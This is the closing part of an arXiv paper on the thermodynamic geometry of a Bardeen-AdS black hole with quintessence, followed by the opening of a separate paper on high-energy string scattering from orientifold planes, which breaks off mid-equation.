The figure (\ref{CriticalR}) shows that at the critical point $P_c=0.207$, there are multiple divergence around $S=0.06$ and $S=0.48$, which does not correspond to the critical value of entropy $(S=0.32)$. From these multiple singularities for curvature scalar, it is difficult to identify the critical points from Ruppeiner geometry. But it is interesting that Ruppeiner geometry indicates a phase transition even though it cannot identify the exact transition points (\ref{Ruppeiner RS}), like Weinhold geometry. This kind of anomalies were found in Kehagias-Sfetsos black hole \cite{GTDJanke2010} and in Gauss-Bonnet Born-Infeld massive gravity theories \cite{Hendi2016,Hendi2015}. In both Weinhold and Ruppeiner geometries we note that, the number of divergence points reduces of curvature scalar decreases when the pressure increases and gradually dissapear.
\subsection{Geometrothermodynamics}
In this approach, the metric is constructed from a Legendre invariant thermodynamic potential and their derivatives with respect to the extensive variables. For geometrothermodynamic calculations, we will consider $2n+1$ dimensional thermodynamic phase space $\mathcal{T}$.
This phase space is constructed using the cordinates $\{ \Phi , E^a, I^a \}$, where $\Phi $ is thermodynamic potential and $E^a$ and $I^a$ are extensive and intensive variables. Then Gibbs one-form is introduced as $\Theta = d \Phi -\delta _{ab} I^a E^b$, satisfying $\Theta \wedge (d\Theta) \neq 0 $. Defining a Legendre invariant metric $G$ on $\mathcal{T}$,
\begin{align}
G&=(d \Phi -\delta _{ab} I^a E^b)^2+(\delta _{ab} I^a E^b) (\eta _{cd} I^c E^d)\\
\eta _{cd}&=\textit{diag} (-1,1,......1).
\end{align}
$\mathcal{T}$, $\Theta$ and $G$ constitutes a Riemann contact manifold. Following this we define an $n$ dimensional Riemannian submanifold $\varepsilon \subset \mathcal{T}$, which is the space of equilibrium thermodynamic states (equilibrium manifold) via a smooth map $\varphi : \varepsilon \rightarrow \mathcal{T}$. The Quevedo metric, which is similar to Ruppeiner and Weinhold metric, is defined on this equilibrium submanifold using the inverse map $\varphi ^* (G)$.
\begin{equation}
g^Q = \varphi^*(G) =\left(E^c\frac{\partial \Phi}{\partial E^c}\right)
\left(\eta_{ab} \delta^{bc}\frac{\partial^2 \Phi}{\partial E^c \partial E^d}d E^a d E^d\right)
\end{equation}
In our case we consider a 5 dimensional phase space with the coordinates $Z_A =\{M, S, \beta, T, \Theta\}$, where $S$, $\beta$ are extensive variables and $T$, $\Theta$ are their dual intensive variables. Then we have the fundamental Gibbs one form as,
\begin{equation}
\Theta =dM-TdS-\Psi d \beta .
\end{equation}
Now we can write the Quevedo metric as follows,
\begin{equation}
g^{Q} = \left(S M_S + \beta M_\beta \right)\begin{bmatrix}
-M_{SS} & 0 \\
0 & M_{\beta \beta}
\end{bmatrix}.
\end{equation}
Using the Quevedo metric we calculate the corresponding curvature, which is a complicated expression having the following form,
\begin{equation}
R_{Q}=\frac{f(S,\beta,P,a)}{g(S,\beta,P,a)},
\end{equation}
which is intersting as it has a diverging behavior. Using the plots of curvature scalar $R_Q$, we investigate the divergence. In the figure(\ref{CriticalQ}), we can see a divergence peaked at $S\approx 0.32$ same as in the specific heat case. Contrary to what we obtained in Weinhold and Ruppeiner geometries, the singular point of curvature scalar in geometrothermodynamics exactly matches the specific heat singular point.
\begin{figure*}
\begin{minipage}[b]{.32\linewidth}
\centering\includegraphics[width=.95\textwidth]{WeinholdRSpc}
\subcaption{}\label{Criticalw}
\end{minipage}
\begin{minipage}[b]{.33\linewidth}
\centering\includegraphics[width=0.95\textwidth]{conformalRSquintpc}
\subcaption{}\label{CriticalR}
\end{minipage}
\begin{minipage}[b]{.33\linewidth}
\centering\includegraphics[width=0.95\textwidth]{Quevado}
\subcaption{}\label{CriticalQ}
\end{minipage}
\caption{Curvature divergence plots for Weinhold (\ref{Criticalw}), Ruppeiner (\ref{CriticalR}) and Quevado metric (\ref{CriticalQ}) around critical point ($a=0.5,\beta =0.1$ and $P_c=0.207$).}\label{Critical}
\end{figure*}
\section{Conclusion}
\label{sec:conclu}
We have studied the thermodynamics and thermodynamic geometry of a regular Bardeen-AdS black hole surrounded by a quintessence. In the thermodynmic study we observed a critical behavior from $P-v$ and $T-S$ plots. Further confirmation was obtained from the specific heat plots. The discontinuity in the specific heat at $S=0.32$ indicates a phase transition of the system. We analysed the effect of quientessence in the phase transitions through the state parameter $\omega$. The critical values for pressure ($P_c$), volume $(v_c)$ and temperature ($T_c$) are obtained for $\omega=-1,-\frac{2}{3}$ and $-\frac{1}{3}$ case. The ratio $\frac{P_c v_c}{T_c}$ showed slight decrease with increase of $\omega$
from -1 to $-\frac{1}{3}$.
Following the study of black hole phase transition in the thermodynamic approach we carried out the geometrical investigation of the same. In the literature it is a well known fact that the divergence behavior of curvature scalar also reflects the existance of critical points. If
we accept that the criticality of specific heat as the definition of phase transition, the thermodynamic geometry which shows divergence at the same point turns out be the correct geometrical description of the same phenom
ena. For the metric under consideration we found that, eventhough the Ruppeiner and Weinhold geometries reflect singularity of curvature scalar, it can only be taken as the indication of phase transition but not the accurate description of the same, as the diverging points do not coincide with that of specific heat. There were multiple divergence and mismatch in the thermodynamic scalar of Weinhod and Ruppeiner geometries. This indicates an anomaly, to overcome this we have used Quevado's geometrothermodynamics. Main problem with the Weinhold and Ruppeiner geometry is that, they were not Legendre invariant and thus depends on the choice of thermodynamic potential. However, geometrothermodynamics being Legendre invariant reproduces critical point exactly.
As a future work, we would like to apply thermodynamic approach formulated by S. Hendi \textit{et al.} \cite{Hendi2015}.But the discripancy among the different geometrical discription in validating the critical behavior is still not clear conceptually, the solution to this may lie in the domain of quantum gravity.
\section*{acknowledgments}
Authors Ahmed Rizwan C.L and Naveena Kumara A. aknowledge the help of Kartheek Hegde and Mehrab Momennia in preparation of manuscript. The author N.K.A would like to thank U.G.C. Govt. of India for financial assistance
under UGC-NET-JRF scheme.
\nocite{*}
|
1,477,468,750,057 | arxiv | \section{Introduction}
Being a consistent theory of quantum gravity, string theory is remarkable for
its soft ultraviolet structure. This is mainly due to two closely related
fundamental characteristics of high-energy string scattering amplitudes. The
first is the softer exponential fall-off behavior of the form factors of
high-energy string scatterings in contrast to the power-law (hard) behavior of
point particle field theory scatterings. The second is the existence of
infinite Regge poles in the form factor of string scattering amplitudes.
Recently high-energy, fixed angle string scattering amplitudes \cite{GM,
Gross, GrossManes} was reinvestigated for massive string states at arbitrary
mass levels \cite{ChanLee1,ChanLee2, CHL,CHLTY,PRL,paperB,susy,Closed, HL}. An
infinite number of linear relations among string scattering amplitudes were
obtained. The most important new ingredient of these calculations is the
zero-norm states (ZNS) \cite{ZNS1,ZNS3,ZNS2} in the old covariant first
quantized (OCFQ) string spectrum. The existence of these infinite linear
relations constitutes the \textit{third} fundamental characteristics of high
energy string scatterings. Other approaches related to this development can be
found in \cite{MooreWest},
These linear relations persist \cite{Dscatt} for string scattered from generic
D$p$-brane \cite{Klebanov} except D-instanton and D-domain-wall. For the
scattering of D-instanton, the form factor exhibits the well-known power-law
behavior without Regge pole structure, and thus resembles a field theory
amplitude. For the special case of D-domain-wall scattering \cite{Myers}, it
was discovered \cite{Wall} that its form factor behaves as\textit{ power-law}
with infinite \textit{open} Regge pole structure at high energies. This
discovery makes D-domain-wall scatterings an unique example of a hybrid of
string and field theory scatterings. Moreover, it was shown \cite{Wall} that
the linear relations break down for the D-domain-wall scattering due to this
unusual power-law behavior. This result seems to imply the coexistence of
linear relations and soft UV structure of string scatterings. Recent study of
high-energy scatterings of compatified closed string justified this conjecture
\cite{Compact}. In order to further uncover the mysterious relations among
these three fundamental characteristics of string scatterings, namely, the
soft UV structure, the existence of infinite Regge poles and the newly
discovered linear relations stated above, it will be important to study more
string scatterings, which exhibit the unusual behaviors in the high energy limit.
In this paper, we calculate massive closed string states at arbitrary mass
levels scattered from Orientifold planes in the high-energy, fixed angle
limit. The scatterings of massless states from Orientifold planes were
calculated previously by using the boundary states formalism
\cite{Craps,Schnitzer}, and more recently \cite{Garousi} on the worldsheet of
real projected plane $RP_{2}$. Many speculations were made about the
scatterings of \textit{massive} string states, in particular, for the case of
O-domain-wall scatterings. It is one of the purposes of this paper to clearify
these speculations and to discuss their relations with the three fundamental
characteristics of high-energy string scatterings stated above. For the
generic O$p$-planes with $p\geq0$, one expects to get the infinite linear
relations except O-domain-wall scatterings. For simplicity, we consider only
the case of O-particle scatterings. For the case of O-particle scatterings, we
obtain infinite linear relations among high-energy scattering amplitudes of
different string states. We also confirm that there exist only $t$-channel
closed string Regge poles in the form factor of the O-particle scatterings
amplitudes as expected. For the case of O-domain-wall scatterings, we find
that, like the well-known D-instanton scatterings, the amplitudes behave like
field theory scatterings, namely UV power-law without Regge pole. In addition,
we discover that there exist only finite number of $t$-channel closed string
poles in the form factor of O-domain-wall scatterings, and the masses of the
poles are bounded by the masses of the external legs. We thus confirm that all
massive closed string states do couple to the O-domain-wall as was conjectured
previously \cite{Myers, Garousi}. This is also consistent with the boundary
state descriptions of O-planes. For both cases of O-particle and O-domain-wall
scatterings, we confirm that there exist no $s$-channel open string Regge
poles in the form factor of the amplitudes as O-planes were known to be not
dynamical. However, the usual claim that there is a thinkness of
order$\sqrt{\alpha^{^{\prime}}}$ for the O-domain-wall is misleading as the UV
behavior of its scatterings is power-law instead of exponential fall-off. This
paper is organized as following. In section II, we write down a class of
high-energy vertex operators at general mass levels for the scatterings of
Orientifold planes. We then calculate the scattering from O-particle. In
section III, we calculate the scatterings from O-domain-wall and discuss the
pole structure in the form factor. A brief conclusion and discussion are given
in section IV.%
\setcounter{equation}{0}
\renewcommand{\theequation}{\arabic{section}.\arabic{equation}}%
\section{High-energy O-particle Scatterings}
We will use the real projected plane $RP_{2}$ as the worldsheet diagram for
the scatterings of Orientifold planes. The standard propagators of the left
and right moving fields are%
\begin{align}
\left\langle X^{\mu}\left( z\right) X^{\nu}\left( w\right) \right\rangle
& =-\eta^{\mu\nu}\log\left( z-w\right) ,\label{D1}\\
\left\langle \tilde{X}^{\mu}\left( \bar{z}\right) \tilde{X}^{\nu}\left(
\bar{w}\right) \right\rangle & =-\eta^{\mu\nu}\log\left( \bar{z}-\bar
{w}\right) . \label{D2}%
\end{align}
In addition, there are also nontrivial correlator between the right and left
moving fields as well%
\begin{equation}
\left\langle X^{\mu}\left( z\right) \tilde{X}^{\nu}\left( \bar{w}\right)
\right\rangle =-D^{\mu\nu}\ln\left( 1+z\bar{w}\right) . \label{DD}%
\end{equation}
As in the usual convention \cite{Klebanov}, the matrix $D$ reverses the sign
for fields satisfying Dirichlet boundary condition. The wave functions of a
tensor at general mass level can be written as%
\begin{equation}
T_{\mu_{1}\cdots\mu_{n}}=\dfrac{1}{2}\left[ \varepsilon_{\mu_{1}\cdots\mu
_{n}}e^{ik\cdot x}+\left( D\cdot\varepsilon\right) _{\mu_{1}}\cdots\left(
D\cdot\varepsilon\right) _{\mu_{n}}e^{iD\cdot k\cdot x}\right]
\end{equation}
where%
\begin{equation}
\varepsilon_{\mu_{1}\cdots\mu_{n}}\equiv\varepsilon_{\mu_{1}}\cdots
\varepsilon_{\mu_{n}}.
\end{equation}
The vertex operators corresponding to the above wave functions are%
\begin{equation}
V\left( \varepsilon,k,z,\bar{z}\right) =\dfrac{1}{2}\left[ \varepsilon
_{\mu_{1}\cdots\mu_{n}}V^{\mu_{1}\cdots\mu_{n}}\left( k,z,\bar{z}\right)
+\left( D\cdot\varepsilon\right) _{\mu_{1}}\cdots\left( D\cdot
\varepsilon\right) _{\mu_{n}}V^{\mu_{1}\cdots\mu_{n}}\left( D\cdot
k,z,\bar{z}\right) \right] .
\end{equation}
For simplicity, we are going to calculate one tachyon and one massive closed
string state scattered from the O-particle in the high-energy limit. One
expects to get similar results for the generic O$p$-plane scatterings with
$p\geq0$ except O-domain-wall scatterings, which will be discussed in section
III. For this case $D_{\mu\nu}=-\delta_{\mu\nu}$, and the kinematic setup are%
\begin{align}
e^{P} & =\frac{1}{M}\left( -E,-\mathrm{k}_{2},0\right) =\frac{k_{2}}{M},\\
e^{L} & =\frac{1}{M}\left( -\mathrm{k}_{2},-E,0\right) ,\\
e^{T} & =\left( 0,0,1\right) ,\\
k_{1} & =\left( E,\mathrm{k}_{1}\cos\phi,-\mathrm{k}_{1}\sin\phi\right)
,\\
k_{2} & =\left( -E,-\mathrm{k}_{2},0\right)
\end{align}
where $e^{P}$, $e^{L}$ and $e^{T}$ are polarization vectors of the tensor
state $k_{2}$ on the high-energy scattering plane. One can easily calculate
the following kinematic relations in the high-energy limit%
\begin{align}
e^{T}\cdot k_{2} & =e^{L}\cdot k_{2}=0,\\
e^{T}\cdot k_{1} & =-\mathrm{k}_{1}\sin\phi\sim-E\sin\phi,\\
e^{T}\cdot D\cdot k_{1} & =\mathrm{k}_{1}\sin\phi\sim E\sin\phi,\\
e^{T}\cdot D\cdot k_{2} & =0,\\
e^{L}\cdot k_{1} & =\frac{1}{M}\left[ \mathrm{k}_{2}E-\mathrm{k}_{1}%
E\cos\phi\right] \sim\frac{E^{2}}{M}\left( 1-\cos\phi\right) ,\\
e^{L}\cdot D\cdot k_{1} & =\frac{1}{M}\left[ \mathrm{k}_{2}E+\mathrm{k}%
_{1}E\cos\phi\right] \sim\frac{E^{2}}{M}\left( 1+\cos\phi\right) ,\\
e^{L}\cdot D\cdot k_{2} & =\frac{1}{M}\left[ -\mathrm{k}_{2}E-\mathrm{k}%
_{2}E\right] \sim-\frac{2E^{2}}{M}.
\end{align}
We define%
\begin{align}
a_{0} & \equiv k_{1}\cdot D\cdot k_{1}=-E^{2}-\mathrm{k}_{1}^{2}\sim
-2E^{2},\\
a_{0}^{\prime} & \equiv k_{2}\cdot D\cdot k_{2}=-E^{2}-\mathrm{k}_{2}%
^{2}\sim-2E^{2},\\
b_{0} & \equiv k_{1}\cdot k_{2}=\left( E^{2}-\mathrm{k}_{1}\mathrm{k}%
_{2}\cos\phi\right) \sim E^{2}\left( 1-\cos\phi\right) ,\\
c_{0} & \equiv k_{1}\cdot D\cdot k_{2}=\left( E^{2}+\mathrm{k}%
_{1}\mathrm{k}_{2}\cos\phi\right) \sim E^{2}\left( 1+\cos\phi\right) ,
\end{align}
and the Mandelstam variables can be calculated to be%
\begin{align}
t & \equiv-\left( k_{1}+k_{2}\right) ^{2}=M_{1}^{2}+M_{2}^{2}-2k_{1}\cdot
k_{2}=M_{2}^{2}-2\left( 1+b_{0}\right) ,\\
s & \equiv\dfrac{1}{2}k_{1}\cdot D\cdot k_{1}=\dfrac{1}{2}a_{0},\\
u & =-2k_{1}\cdot D\cdot k_{2}=-2c_{0}.
\end{align}
In the high-energy limit, we will consider an incoming tachyon state $k_{1}%
$and an outgoing tensor state $k_{2}$ of the following form%
\begin{equation}
\left( \alpha_{-1}^{T}\right) ^{n-m-2q}\left( \alpha_{-2}^{L}\right)
^{q}\otimes\left( \tilde{\alpha}_{-1}^{T}\right) ^{n-m^{\prime}-2q^{\prime}%
}\left( \tilde{\alpha}_{-2}^{L}\right) ^{q^{\prime}}\left\vert
0\right\rangle .
\end{equation}
For simplicity, we have omited above a possible high-energy vertex
$(\alpha_{-1}^{L})^{r}\otimes(\tilde{\alpha}_{-1}^{L})^{r^{\prime}}$
\cite{Dscatt,Compact}. For this case, with momentum conservation on the
O-planes, we have%
\begin{equation}
a_{0}+b_{0}+c_{0}=M_{1}^{2}=-2. \label{conserve}%
\end{equation}
The high-energy scattering amplitude can then be written as
\begin{align*}
A^{RP_{2}} & =\int d^{2}z_{1}d^{2}z_{2}\dfrac{1}{2}\left[ V\left(
k_{1},z_{1}\right) \tilde{V}\left( k_{1},\bar{z}_{1}\right) +V\left(
D\cdot k_{1},z_{1}\right) \tilde{V}\left( D\cdot k_{1},\bar{z}_{1}\right)
\right] \\
& \cdot\dfrac{1}{2}\varepsilon_{T^{n-2q}L^{q},T^{n-2q^{\prime}}L^{q^{\prime}%
}}V^{T^{n-2q}L^{q}}\left( k_{2},z_{2}\right) \tilde{V}^{T^{n-2q^{\prime}%
}L^{q^{\prime}}}\left( k_{2},\bar{z}_{2}\right) \\
& +\left( D\cdot\varepsilon_{T}\right) ^{n-2q}\left( D\cdot\varepsilon
_{L}\right) ^{q}\left( D\cdot\tilde{\varepsilon}_{T}\right) ^{n-2q^{\prime
}}\left( D\cdot\tilde{\varepsilon}_{L}\right) ^{q^{\prime}}V^{T^{n-2q}L^{q}%
}\left( D\cdot k_{2},z_{2}\right) \\
& \cdot\tilde{V}^{T^{n-2q^{\prime}}L^{q^{\prime}}}\left( D\cdot k_{2}%
,\bar{z}_{2}\right) \\
& =A_{1}+A_{2}+A_{3}+A_{4}%
\end{align*}
where%
\begin{align}
A_{1} & =\dfrac{1}{4}\varepsilon_{T^{n-2q}L^{q},T^{n-2q^{\prime}%
}L^{q^{\prime}}}\int d^{2}z_{1}d^{2}z_{2}\nonumber\\
& \cdot\left\langle V\left( k_{1},z_{1}\right) \tilde{V}\left( k_{1}%
,\bar{z}_{1}\right) V^{T^{n-2q}L^{q}}\left( k_{2},z_{2}\right) \tilde
{V}^{T^{n-2q^{\prime}}L^{q^{\prime}}}\left( k_{2},\bar{z}_{2}\right)
\right\rangle ,\\
A_{2} & =\dfrac{1}{4}\varepsilon_{T^{n-2q}L^{q},T^{n-2q^{\prime}%
}L^{q^{\prime}}}\int d^{2}z_{1}d^{2}z_{2}\nonumber\\
& \cdot\left\langle V\left( D\cdot k_{1},z_{1}\right) \tilde{V}\left(
D\cdot k_{1},\bar{z}_{1}\right) V^{T^{n-2q}L^{q}}\left( k_{2},z_{2}\right)
\tilde{V}^{T^{n-2q^{\prime}}L^{q^{\prime}}}\left( k_{2},\bar{z}_{2}\right)
\right\rangle ,\\
A_{3} & =\dfrac{1}{4}\left( D\cdot\varepsilon_{T}\right) ^{n-2q}\left(
D\cdot\varepsilon_{L}\right) ^{q}\left( D\cdot\tilde{\varepsilon}%
_{T}\right) ^{n-2q^{\prime}}\left( D\cdot\tilde{\varepsilon}_{L}\right)
^{q^{\prime}}\nonumber\\
& \cdot\int d^{2}z_{1}d^{2}z_{2}\left\langle V\left( k_{1},z_{1}\right)
\tilde{V}\left( k_{1},\bar{z}_{1}\right) V^{T^{n-2q}L^{q}}\left( D\cdot
k_{2},z_{2}\right) \tilde{V}^{T^{n-2q^{\prime}}L^{q^{\prime}}}\left( D\cdot
k_{2},\bar{z}_{2}\right) \right\rangle ,\\
A_{4} & =\dfrac{1}{4}\left( D\cdot\varepsilon_{T}\right) ^{n-2q}\left(
D\cdot\varepsilon_{L}\right) ^{q}\left( D\cdot\tilde{\varepsilon}%
_{T}\right) ^{n-2q^{\prime}}\left( D\cdot\tilde{\varepsilon}_{L}\right)
^{q^{\prime}}\nonumber\\
& \cdot\int d^{2}z_{1}d^{2}z_{2}\left\langle V\left( D\cdot k_{1}%
,z_{1}\right) \tilde{V}\left( D\cdot k_{1},\bar{z}_{1}\right)
V^{T^{n-2q}L^{q}}\left( D\cdot k_{2},z_{2}\right) \tilde{V}^{T^{n-2q^{\prime
}}L^{q^{\prime}}}\left( D\cdot k_{2},\bar{z}_{2}\right) \right\rangle .
\end{align}
One can easily see that%
\begin{equation}
A_{1}=A_{4},A_{2}=A_{3}.
\end{equation}
We will choose to calculate $A_{1}$and $A_{2}$. For the case of $A_{1}$, we
have
\begin{align}
4A_{1} & =\varepsilon_{T^{n-2q}L^{q},T^{n-2q^{\prime}}L^{q^{\prime}}}\int
d^{2}z_{1}d^{2}z_{2}\cdot\nonumber\\
& \left\langle e^{ik_{1}X}\left( z_{1}\right) e^{ik_{1}\tilde{X}}\left(
\bar{z}_{1}\right) \left( \partial X^{T}\right) ^{n-2q}\left(
i\partial^{2}X^{L}\right) ^{q}e^{ik_{2}X}\left( z_{2}\right) \left(
\bar{\partial}\tilde{X}^{T}\right) ^{n-2q^{\prime}}\left( i\bar{\partial
}^{2}\tilde{X}^{L}\right) ^{q^{\prime}}e^{ik_{2}\tilde{X}}\left( \bar{z}%
_{2}\right) \right\rangle \nonumber\\
& =\left( -1\right) ^{q+q^{\prime}}\int d^{2}z_{1}d^{2}z_{2}\left(
1+z_{1}\bar{z}_{1}\right) ^{a_{0}}\left( 1+z_{2}\bar{z}_{2}\right)
^{a_{0}^{\prime}}\left\vert z_{1}-z_{2}\right\vert ^{2b_{0}}\left\vert
1+z_{1}\bar{z}_{2}\right\vert ^{2c_{0}}\nonumber\\
& \cdot\left[ \frac{ie^{T}\cdot k_{1}}{z_{1}-z_{2}}-\frac{ie^{T}\cdot D\cdot
k_{1}}{1+\bar{z}_{1}z_{2}}\bar{z}_{1}-\frac{ie^{T}\cdot D\cdot k_{2}}%
{1+\bar{z}_{2}z_{2}}\bar{z}_{2}\right] ^{n-2q}\nonumber\\
& \cdot\left[ -\frac{ie^{T}\cdot D\cdot k_{1}}{1+z_{1}\bar{z}_{2}}%
z_{1}+\frac{ie^{T}\cdot k_{1}}{\bar{z}_{1}-\bar{z}_{2}}-\frac{ie^{T}\cdot
D\cdot k_{2}}{1+z_{2}\bar{z}_{2}}z_{2}\right] ^{n-2q^{\prime}}\nonumber\\
& \cdot\left[ \frac{e^{L}\cdot k_{1}}{\left( z_{1}-z_{2}\right) ^{2}%
}+\frac{e^{L}\cdot D\cdot k_{1}}{\left( 1+\bar{z}_{1}z_{2}\right) ^{2}}%
\bar{z}_{1}^{2}+\frac{e^{L}\cdot D\cdot k_{2}}{\left( 1+\bar{z}_{2}%
z_{2}\right) ^{2}}\bar{z}_{2}^{2}\right] ^{q}\nonumber\\
& \cdot\left[ \frac{e^{L}\cdot D\cdot k_{1}}{\left( 1+z_{1}\bar{z}%
_{2}\right) ^{2}}z_{1}^{2}+\frac{e^{L}\cdot k_{1}}{\left( \bar{z}_{1}%
-\bar{z}_{2}\right) ^{2}}+\frac{e^{L}\cdot D\cdot k_{2}}{\left( 1+z_{2}%
\bar{z}_{2}\right) ^{2}}z_{2}^{2}\right] ^{q^{\prime}}.
\end{align}
To fix the modulus group on $RP_{2}$, choosing $z_{1}=r$ and $z_{2}=0$ and we
have%
\begin{align}
4A_{1} & =\left( -1\right) ^{n}\int_{0}^{1}dr^{2}\left( 1+r^{2}\right)
^{a_{0}}r^{2b_{0}}\nonumber\\
& \cdot\left[ \frac{e^{T}\cdot k_{1}}{r}-\frac{e^{T}\cdot D\cdot k_{1}}%
{1}r\right] ^{n-2q}\cdot\left[ -\frac{e^{T}\cdot D\cdot k_{1}}{1}%
r+\frac{e^{T}\cdot k_{1}}{r}\right] ^{n-2q^{\prime}}\nonumber\\
& \cdot\left[ \frac{e^{L}\cdot k_{1}}{r^{2}}+\frac{e^{L}\cdot D\cdot k_{1}%
}{1}r^{2}\right] ^{q}\cdot\left[ \frac{e^{L}\cdot D\cdot k_{1}}{1}%
r^{2}+\frac{e^{L}\cdot k_{1}}{r^{2}}\right] ^{q^{\prime}}\nonumber\\
& =\left( -1\right) ^{n}\left( E\sin\phi\right) ^{2n}\left( \frac
{2\cos^{2}\dfrac{\phi}{2}}{M\sin^{2}\phi}\right) ^{q+q^{\prime}}\sum
_{i=0}^{q+q^{\prime}}\binom{q+q^{\prime}}{i}\left( \dfrac{\sin^{2}\dfrac
{\phi}{2}}{\cos^{2}\dfrac{\phi}{2}}\right) ^{i}\nonumber\\
& \cdot\int_{0}^{1}dr^{2}\left( 1+r^{2}\right) ^{a_{0}+2n-2\left(
q+q^{\prime}\right) }\cdot\left( r^{2}\right) ^{b_{0}-n+2\left(
q+q^{\prime}\right) -2i}.
\end{align}
Similarly, for the case of $A_{2}$, we have%
\begin{align}
4A_{2} & =\left( -1\right) ^{n}\int_{0}^{1}dr^{2}\left( 1+r^{2}\right)
^{a_{0}}r^{2c_{0}}\nonumber\\
& \cdot\left[ \frac{e^{T}\cdot D\cdot k_{1}}{r}-\frac{e^{T}\cdot k_{1}}%
{1}r\right] ^{n-2q}\cdot\left[ -\frac{e^{T}\cdot k_{1}}{1}r+\frac{e^{T}\cdot
D\cdot k_{1}}{r}\right] ^{n-2q^{\prime}}\nonumber\\
& \cdot\left[ \frac{e^{L}\cdot D\cdot k_{1}}{r^{2}}+\frac{e^{L}\cdot k_{1}%
}{1}r^{2}\right] ^{q}\cdot\left[ \frac{e^{L}\cdot k_{1}}{1}r^{2}+\frac
{e^{L}\cdot D\cdot k_{1}}{r^{2}}\right] ^{q^{\prime}}\nonumber\\
& =\left( -1\right) ^{n}\left( E\sin\phi\right) ^{2n}\left( \frac
{2\cos^{2}\dfrac{\phi}{2}}{M\sin^{2}\phi}\right) ^{q+q^{\prime}}\sum
_{i=0}^{q+q^{\prime}}\binom{q+q^{\prime}}{i}\left( \dfrac{\sin^{2}\dfrac
{\phi}{2}}{\cos^{2}\dfrac{\phi}{2}}\right) ^{i}\nonumber\\
& \cdot\int_{0}^{1}dr^{2}\text{ }\left( 1+r^{2}\right) ^{a_{0}+2n-2\left(
q+q^{\prime}\right) }\left( r^{2}\right) ^{c_{0}-n+2i}.
\end{align}
The scattering amplitude on $RP_{2}$ can therefore be calculated to be%
\begin{align}
A^{RP_{2}} & =A_{1}+A_{2}+A_{3}+A_{4}\nonumber\\
& =\dfrac{1}{2}\left( -1\right) ^{n}\left( E\sin\phi\right) ^{2n}\left(
\frac{2\cos^{2}\dfrac{\phi}{2}}{M\sin^{2}\phi}\right) ^{q+q^{\prime}}%
\sum_{i=0}^{q+q^{\prime}}\binom{q+q^{\prime}}{i}\left( \dfrac{\sin^{2}%
\dfrac{\phi}{2}}{\cos^{2}\dfrac{\phi}{2}}\right) ^{i}\nonumber\\
& \cdot\int_{0}^{1}dr^{2}\left( 1+r^{2}\right) ^{a_{0}+2n-2\left(
q+q^{\prime}\right) }\cdot\left[ \left( r^{2}\right) ^{b_{0}-n+2\left(
q+q^{\prime}\right) -2i}+\left( r^{2}\right) ^{c_{0}-n+2i}\right] .
\label{RP2}%
\end{align}
The integral in Eq.(\ref{RP2}) can be calculated as following%
\begin{align}
& \int_{0}^{1}dr^{2}\left( 1+r^{2}\right) ^{a_{0}+2n-2\left( q+q^{\prime
}\right) }\cdot\left[ \left( r^{2}\right) ^{b_{0}-n+2\left( q+q^{\prime
}\right) -2i}+\left( r^{2}\right) ^{c_{0}-n+2i}\right] \nonumber\\
& =[\dfrac{2^{1+a_{0}+2n-2\left( q+q^{\prime}\right) }}{1+b_{0}-n+2\left(
q+q^{\prime}\right) -2i}]\nonumber\\
& \cdot F\left( 2+a_{0}+b_{0}+n-2i,1,2+b_{0}-n+2\left( q+q^{\prime}\right)
-2i,-1\right) \nonumber\\
& +[\dfrac{2^{1+a_{0}+2n-2\left( q+q^{\prime}\right) }}{1+c_{0}%
-n+2i}]F\left( 2+a_{0}+c_{0}+n-2\left( q+q^{\prime}\right) +2i,1,2+c_{0}%
-n+2i,-1\right)
\end{align}
where we have used the following identities of the hypergeometric function
$F\left( \alpha,\beta,\gamma,x\right) $
\begin{align}
F(\alpha,\beta,\gamma;x) & =\frac{\Gamma(\gamma)}{\Gamma(\beta)\Gamma
(\gamma-\beta)}\int_{0}^{1}dy\text{ }y^{\beta-1}\left( 1-y\right)
^{\gamma-\beta-1}\left( 1-yx\right) ^{-\alpha},\\
F\left( \alpha,\beta,\gamma,x\right) & =2^{\gamma-\alpha-\beta}F\left(
\gamma-\alpha,\gamma-\beta,\gamma,x\right) .
\end{align}
To further reduce the scattering amplitude into beta function, we use the
momentum conservation in Eq.(\ref{conserve}) and the identity%
\begin{align}
& \left( 1+\alpha\right) F\left( -\alpha,1,2+\beta,-1\right) +\left(
1+\beta\right) F\left( -\beta,1,2+\alpha,-1\right) \nonumber\\
& =2^{1+\alpha+\beta}\dfrac{\Gamma\left( \alpha+2\right) \Gamma\left(
\beta+2\right) }{\Gamma\left( \alpha+\beta+2\right) }%
\end{align}
to get
\begin{align}
\lbrack & \dfrac{2^{1+a_{0}+2n-2\left( q+q^{\prime}\right) }}%
{1+b_{0}-n+2\left( q+q^{\prime}\right) -2i}]F\left( -c_{0}+n-2i,1,2+b_{0}%
-n+2\left( q+q^{\prime}\right) -2i,-1\right) \nonumber\\
& +[\dfrac{2^{1+a_{0}+2n-2\left( q+q^{\prime}\right) }}{1+c_{0}%
-n+2i}]F\left( -b_{0}+n-2\left( q+q^{\prime}\right) +2i,1,2+c_{0}%
-n+2i,-1\right) \nonumber\\
& =\dfrac{\Gamma\left( 1+c_{0}-n+2i\right) \Gamma\left( 1+b_{0}-n+2\left(
q+q^{\prime}\right) -2i\right) }{\Gamma\left( 2+b_{0}+c_{0}-2n+2\left(
q+q^{\prime}\right) \right) }\nonumber\\
& \sim B\left( 1+b_{0},1+c_{0}\right) \dfrac{\left( 1+c_{0}\right)
^{-n+2i}\left( 1+b_{0}\right) ^{-n+2\left( q+q^{\prime}\right) -2i}%
}{\left( 2+b_{0}+c_{0}\right) ^{-2n+2\left( q+q^{\prime}\right) }%
}\nonumber\\
& \sim B\left( 1+b_{0},1+c_{0}\right) \left( \cos^{2}\dfrac{\phi}%
{2}\right) ^{-n+2i}\left( \sin^{2}\dfrac{\phi}{2}\right) ^{-n+2\left(
q+q^{\prime}\right) -2i}.
\end{align}
We finally end up with%
\begin{align}
A^{RP_{2}} & =A_{1}+A_{2}+A_{3}+A_{4}\nonumber\\
& =\dfrac{1}{2}\left( -1\right) ^{n}\left( E\sin\phi\right) ^{2n}\left(
\frac{2\cos^{2}\dfrac{\phi}{2}}{M\sin^{2}\phi}\right) ^{q+q^{\prime}}%
\sum_{i=0}^{q+q^{\prime}}\binom{q+q^{\prime}}{i}\left( \dfrac{\sin^{2}%
\dfrac{\phi}{2}}{\cos^{2}\dfrac{\phi}{2}}\right) ^{i}\nonumber\\
& \cdot B\left( 1+b_{0},1+c_{0}\right) \left( \cos^{2}\dfrac{\phi}%
{2}\right) ^{-n+2i}\left( \sin^{2}\dfrac{\phi}{2}\right) ^{-n+2\left(
q+q^{\prime}\right) -2i}\nonumber\\
